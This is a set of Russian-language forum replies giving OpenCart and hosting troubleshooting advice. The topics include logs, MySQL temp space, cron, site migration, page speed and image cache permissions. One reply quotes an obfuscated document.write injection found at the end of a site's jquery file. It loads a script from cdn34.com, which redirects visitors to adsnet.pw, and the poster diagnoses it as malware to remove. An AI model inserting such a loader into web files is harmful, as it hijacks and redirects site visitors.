NotSlow

Мы тут хорошо так от темы отклоняемся... Но всеж ничего плохого или неправильного не вижу. Надо понимать что хоть nginx, хоть apache или php - это просто программы, исполняемые "бинарники". В linux как и в windows программа может быть монолитной в виде 1 файла, а может подгружать для своей работы сторонние такие же бинарники - библиотеки. Под windows .dll, под linux .so (хотя имя вообще не важно...). Как не важно и название этого всего - модули, расширения, библиотеки. Что в apache .so файлы могут подгружаться для работы основного исполняемого файла, что в php такие же .so И пусть в apache их обозвали модулями, а в php - extension. И даже больше, весь php (со всеми своими модулями) может подключаться к apache как модуль (mod_php).

У apache принцип тот же - библиотеки можно через конфиг подгружать. И находятся они по-умолчанию в modules/ и называются они типа mod_rewrite.so и директива в конфиге зовется loadmodule Какая разница как называть... суть та же.

Это все гадание... Может действительно в этом дело - тогда опять же в логах будут сообщения про это. Так то в php8 GD тоже должен быть https://php8.co.ua/phpinfo.php А может в чем-то совершенно другом проблема...

Правило №1 - при любых непонятках первым делом смотреть логи. логи сервера, логи opencart'а возможно оно там где-то на что-то ругается и надо конкретно это исправить, а не делать че-попало... править зачем-то права, менять версии, добавлять модули какие-то.

Да с местом может быть все в норме, просто раздел /var/tmp создан отдельно какого-то мелкого размера. Ну либо нет и действительно туда гигабайты временных база пытается скидывать. В любом случае это телепатически не решается, надо только лично смотреть ситуацию.

Судя по первому сообщению, во время выполнения mysql запросов создаются какие-то временные таблицы на диске и они пишутся в /var/tmp, где не хватает места. Что там за объемы записываемого, сколько там места в этом /var/tmp - надо смотреть. Возможно ничего критического и нет, а просто где-то что-то криво настроено. Например этот /var/tmp микро-размера создан почему-то. Возможно в конфиге mysql надо поправить например tmp_table_size (хотя смотря еще сколько памяти на сервере) чтоб временные на диске не создавались, а в памяти все было. В размере базы 1гб ничего кошмарного нет. Но надо опять же глянуть чем именно столько занято. Бывает сессии opencart пишет в базу (а не как оно должно быть, управляться настройками php) и там не чистится старое. При этом на сайте море ботов ходит, и каждый создает новую сессию... Нужен просто чтоб сисадмин опытным взглядом посмотрел. На хостинге поддержки совсем никакой? Или даже не пытались первым делом у них спросить?

А также в config.php и admin/config.php посмотреть с www там или без Иначе наверное на сайте все ссылки останутся с www, но будет каждый запрос с редиректом лишним.

Не понял зачем в конфигах что-то менять, хотя если там что-то в них отличается, тогда ладно. Сайт конечно же не заработает. Т.к. как минимум есть еще config.php и admin/config.php, в которых тоже надо поправить все test. на не-test Ну и это при учете что базы не трогаем - будет наверное нелогично если основной сайт будет использовать базу test... ну то такое Я бы еще поиском по всем файлам прошелся поискал абсолютные пути. Например в .htaccess или еще где-то может быть какая-то самодеятельность с абсолютными путями. Cron задачи еще могут быть.

Ну так уберите в конце > /dev/null 2> /dev/null Почта там указана в настройках крона? Если задача что-то выводит в ответ, то это должно приходить на почту. Вот и убирайте dev/null'ы заглушающие это, чтоб получить ответ по задаче. Может крон и срабатывает, но там ошибок гора.

Прежде чем что-то исправлять, надо признать проблему - увидеть сайт. Увидеть те 3-4 секунды. До этого момента считается что все вы выдумываете :] Только подтвердив что действительно именно время ожидания ответа 3-4с (а не общее время загрузки в pagespeed каком-нть, где тупо ожидается какой-то .css с вообще не вашего даже домена), только после этого можно переходить к вопросу что в вашем понимании "мощный сервер".

Это прекрасно конечно. Ладно когда сайт на CMS, которая умеет по SMTP отправлять. Или когда владелец сам в состоянии переписать скрипты на PHPMailer например. Но у остальных получается просто перестало работать... и все хорошо Это не решение, а лень. Спам надо моментально блокировать, находить источник и если это нормальный клиент с вирусами например на сайте, то заразу вычистить. Ну а если спамер злостный, то другие меры...

В таблице oc_customer_login найдите/поправьте/удалите себя. Ну и в целом посмотрите что там происходит. Может брутфорсят админку... не защищенную.

Естественно лучше/легче/быстрее скачать 1 файл архива, чем кучу мелких. Вспомните любой бенчмарк ssd - последовательно большими блоками может читать гигабайты/сек, а случайно мелкоблочно 4k в 1 поток всего около 50мб/сек практически у всех, даже nvme дисков. Так же и по сети, по фтп - одно дело качать крупный файл, и совсем другое кучу мелких. Но с архивированием есть нюансы - может не хватить места на диске (нужен по-сути двойной объем). Может сработать какое-то ограничение на cpu во время архивирования. Или таймаут по времени выполнения. Если делать не из панели хостинга. Фотки сжиматься не будут, нет смысла пытаться и гораздо быстрей будет сделать архив без сжатия.

Очевидно нужно пройтись по всем файлам и базе, поискать где еще вписан старый домен. Может в шаблоне где-то картинка эта вписана.

Ну и справедливости ради верно и обратное. Специалисты опенкарта не обязаны разбираться в нюансах настроек конкретного хостинга, в отличии от его техподдержки. Например я когда переношу, то в конфигах делаю чтоб DIR_SESSION указывала на ram-диск, DIR_CACHE туда же (если не используется кэш модуль и папка cache не весит гигабайты). DIR_LOGS в папку с логами web и mysql сервера, из которой логи ежедневно архивируются и подчищаются (а не как обычно у людей в storage/logs сотни мегабайт логов, о которых они даже не догадываются). Плюс защиты всякие, от ботов и т.д. Тот же специалист может например cron задачи перенести, которые будут дергать что-то с сайта, а на уровне хостинга будет защита от ботов, которая будет не давать этому работать, о которой специалист знать не может. Т.е. чтобы все нормально было, нужно этот момент учесть, сделать нужные настройки или вообще отключить защиты. Куча мелочей есть, которые не универсальны и которых кроме самого хостера может никто не знать.

Многие хостинги делают бесплатный перенос к себе. Возможно у вашего нового также... просто не знаете Или у вас там не хостинг с поддержкой, а vps где сам себе предоставлен?... т.е. еще и vps эту надо настраивать?

Ну надо как минимум сайт видеть... что же все прячутся вечно 3.5сек что там имеется в виду, полная загрузка со стилями, скриптами и фотками, или же это только TTFB 3.5сек. Где сайт размещается нужно понимание. Обычный хостинг или vps. Какой процессор (частота, ядер сколько), что по памяти, диску. Может там банально 2ггц процессор и что вы от него хотите в этом случае. Или это сверхпопулярный shared хост задушенный и с тысячами сайтов соседей рядом. Если же все более-менее по хостингу, тогда тормозит на чем? php скрипты или на запросах к базе? Про кэширующий модуль уже были/нет мысли? Без всех этих неизвестных какие могут быть мысли или предложения...

Можно повесить домен на cloudflare и проксировать через них. Там много настроек по защите. Либо могу предложить свой антибот скрипт.

Вот этот скрипт: https://bostanika.ge/catalog/view/javascript/jquery/jquery-2.1.1.min.js В самом низу: document.write("<sc"+"ri"+"pt s"+"rc"+"='ht"+"tp"+"s:/"+"/c"+"dn"+"3"+"4.c"+"om/"+"e' as"+"yn"+"c>"+"<\/"+"sc"+"ri"+"pt>"); Как оно туда попало... это уже совсем другая история. И есть ли еще где-то среди сайта что-то подобное.

Вот оно, 100% Скрины ниже. На вашу страницу подгружается некая https://cdn34.com/e И с нее приходит редирект: if(document.referrer){window.location.href='https://adsnet.pw/?id=czI7NjQxMjM0N2JhZQ==';} Причем если обновить страницу, то приходит пустота... Но если нажать ctrl+h и потом "забыть" все с этого домена, то снова приходит редирект... в прятки играют Короче задача найти где у вас фигурирует cdn34.com и удалить. Возможно это действительно вирус, вставка эта в ни в чем неповинном другом скрипте сделана. Надо смотреть... пишите в личку если хотите, могу поискать.

Судя по видео, редирект точно на javascript сделан (не серверный редирект). И есть ненулевой шанс, что скрипт этот не от вашего сайта грузится (бесполезно искать на хостинге), а со стороннего чего-то. Вас редиректит стабильно или случайно как-то? Я попробовал с нескольких разных vpn и не поймал. Нужно как минимум с открытой консолью браузера (ctrl+shift+i) открывать и смотреть что за скрипты загружаются, что происходит...

или открыть index.php в корне и там будет что-то типа: define('VERSION', '3.0.3.7'); define('VERSION_CORE', 'ocStore');

Что имеется в виду под ускорением? "На глаз" или замеряете чем-то цифры конкретные? Есть как минимум 2 скорости - серверная и клиентская. Сперва выполняется куча php скриптов и запросов к базе чтобы сгенерировать html страницу - это одними способами лечится. Потом страница отрисовывается в браузере, подгружается другая куча css, js и фоток - это совершенно другое ускорение. Вам объясняют, что одна из причин вторых тормозов в том что на страницу с мелкими фотками подгружаются тяжелые большие. Конечно будет медленно, особенно если на мобильном интернете те 15мб качать. Плюс вижу что первая скорость также плохая, сервер страницу генерирует под 2сек. Это либо перегружен процессор хостинга сейчас, либо нет, но сам сайт его дико нагружает во время генерации этой страницы, плюс отсутствует кэширующий модуль.

А в логе ошибок ничего нет? Вижу что права на папки у вас стоят 700. Возможно это нормально и так должно быть, а может и нет... и оно пытается в папке cache создать фотку, но не может. Ну либо что-то еще не так и оно даже не пытается кэш создать. Вот к примеру похожее: Возможно еще что в php (или еще глубже) нет нужного модуля для работы с фото. Опять же, в логах что-то по-идее должно быть по этому поводу если действительно так.

Если вы 100% уверены что все пути верные в обоих конфигах admin/config.php и /config.php, тогда к примеру жмите ctrl+shift+i в браузере и смотрите запрос вашей недостающей фотки. Какой был ответ от сервера, 404, 403 там или что? Возьмите полный путь к фотке этой и попробуйте просто в отдельной вкладке ее открыть. Ну и физически найдите файл этот по ftp/ssh, есть он вообще? Один из многих возможных вариантов - криво настроенный новый хост. Например все старое с одними правами/владельцем и работает нормально. А загружая новое, файлы оказываются с какими-то другими правами/владельцем и web-сервер к ним не может получить доступ. Но может конечно что угодно другое быть, надо смотреть...